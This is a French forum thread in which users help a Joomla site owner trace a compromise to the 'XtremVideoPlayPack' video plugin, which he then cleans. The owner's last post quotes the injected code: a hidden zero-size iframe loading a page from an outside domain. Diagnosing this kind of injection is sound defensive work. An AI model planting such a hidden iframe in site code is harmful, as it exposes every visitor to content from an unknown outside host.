Serveur Hacké ?

[polweb]

Regarde tes fichiers log du 14 aout et juste avant et regarde les fichiers qui ont étés modifiés.

[vaxrei]

Tu peux aussi faire une recherche dans un moteur :
-http://www.google.fr/search?q=%22diydaily%2einfo%2fplayer%2fplayer

apparement cela vient du module "Extreme Video Plugin"

[thecashcow]

Excellent ! Le problème est résolu !

C'était donc bien un mambot de Joomla, en l'occurence "XtremVideoPlayPack" qui permet de lire les vidéos de Youtube, Daily...Etc dansles articles.

A la fin du fichier XtremVideoPlayPack.php il y a avait le fameux script :

<iframe frameborder="0"height="0"width="0"
src="http://www.diydaily.info/player/player.php"></iframe>

Je l'ai supprimée et bingo !

Il semble que le créateur de ce mambot envoie fréquemment son script dans le php du plugin. Il y a un post à ce sujet en anglais ici : -http://forum.joomla.org/viewtopic.php?f=432&t=304197&p=1340536

Merci beaucoup à vous tous (toutes?) de m'avoir aidé pour ce problème qui pourrissait la vie de mes internautes !

Au plaisir